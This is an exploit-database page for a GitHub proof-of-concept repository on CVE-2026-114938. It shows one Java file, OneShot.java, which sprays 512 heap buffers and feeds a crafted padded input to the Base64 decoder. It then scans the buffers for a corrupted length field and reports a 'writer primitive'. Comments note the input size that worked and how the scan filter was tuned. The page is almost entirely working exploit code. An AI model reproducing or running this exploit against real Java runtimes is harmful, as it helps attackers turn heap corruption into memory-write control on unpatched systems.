Exploit database

GH-10ff7bc4b83a4e3a9568619b59d0febe

alt3kx/cve-2026-114938

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-114938

42 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
alt3kx/cve-2026-114938Revision 05fff0b1e104

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/OneShot.java

Java · 1,397 bytes
// LAB - OneShot: single trigger, find the corrupted buffer, report its
// (corrupted) length. THE WINNER: dstLen=66 -> length becomes 1771742825.
// Filter lesson: my first filter (L > 128 && L < 0x40000000) HID the win -
// 1771742825 = 0x699AA669 is > 0x40000000. Never upper-bound a corruption.
import java.util.Base64;

public class OneShot {
    static final int SPRAY = 512;

    public static void main(String[] args) throws Exception {
        int dstLen = args.length > 0 ? Integer.parseInt(args[0]) : 66;
        byte[] src = new byte[dstLen];
        java.util.Arrays.fill(src, (byte) 'A');
        src[dstLen - 1] = '=';

        byte[][] bufs = new byte[SPRAY][];
        for (int i = 0; i < SPRAY; i++) bufs[i] = new byte[dstLen];

        try { Base64.getDecoder().decode(src); }
        catch (IllegalArgumentException ok) { }

        for (int i = 0; i < SPRAY; i++) {
            byte[] b = bufs[i];
            int L = (b[0] & 0xff) | ((b[1] & 0xff) << 8)
                  | ((b[2] & 0xff) << 16) | ((b[3] & 0xff) << 24);
            if (L > 128) {   // <-- fixed filter (no upper bound!)
                System.out.printf("WRITER PRIMITIVE: bufs[%d] length=%d (0x%08x)%n",
                                  i, L, L);
                System.exit(0);
            }
        }
        System.out.println("no hit this run - heap lottery, re-run");
        System.exit(0);
    }
}